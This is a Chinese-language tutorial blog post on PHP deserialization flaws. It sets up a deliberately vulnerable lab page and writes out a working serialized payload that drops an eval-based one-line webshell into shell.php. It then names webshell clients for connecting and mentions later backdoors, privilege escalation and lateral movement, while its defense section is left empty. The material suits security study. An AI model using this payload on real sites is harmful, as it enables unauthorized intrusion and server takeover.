1-反序列化漏洞

漏洞原理

序列化:将对象转换成字符串

反序列化:将特定的字符串转换成对象

登录时会将session序列化写入/tmp目录下,访问首页时会验证读取session,这时将session修改,则会执行任意恶意代码。

漏洞危害

可以执行任意恶意代码,webshell,反弹shell,rce等各种危害

漏洞验证

无,后补充

漏洞利用

利用phpstudy自己搭建一个简单的靶场

//将一下代码写入文件1.php
<?php
highlight_file(__FILE__);
error_reporting(0);
header("Content-Type: text/html; charset=utf-8");
class ph0en1x{
    function __construct($test){
        $fp = fopen("shell.php","w") ;
        fwrite($fp,$test);
        fclose($fp);
    }
}
class chybeta{
    var $test = '123';
    function __wakeup(){
        $obj = new ph0en1x($this->test);
    }
}
$class5 = $_GET['test'];
$class5_unser = unserialize($class5);
//require "shell.php";
// 题目要求,获取webshell
?> 

我们访问查看一下

 简单理解一下两个魔法函数:

__wakeup():执行反序列化时调用

__construct():当我们new一个对象时,就会执行这个函数

我们这里可以理解为当我们执行反序列化时会new一个对象,创建一个chybeta类,并给test复制,当new一个对象时,会执行__construct(),创建一个ph0en1x类,创建一个文件"shell.php"并将test写入"shell.php"文件。

那么我们就清楚了,我们先将序列化的格式找出来,有几种方式,自己整合改编,或者直接输出相对应的格式。

我们这里直接拿过来修改

O:7:"chybeta":1:{s:4:"test";s:29:"<?php @eval($_POST['111']);?>";}

浏览器请求

?test=O:7:"chybeta":1:{s:4:"test";s:29:"<?php @eval($_POST['111']);?>";}

这里我们的一句话木马就上传到了shell.php中,浏览器中访问网站首页

http://127.0.0.1/shell.php

然后利用中国菜刀或中国蚁剑去连接,这里注意中国菜刀没办法识别POST请求中的引号,所以纯数字型用中国菜刀,字符型用中国蚁剑,我这里使用中国蚁剑。

 

连接成功,之后我们可以进行留后门,提权,横向渗透等操作。 

漏洞工具

无,后补充

漏洞防止

无,后补充

本文章仅供学习参考,未经授权切勿拿生产环境测试。

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值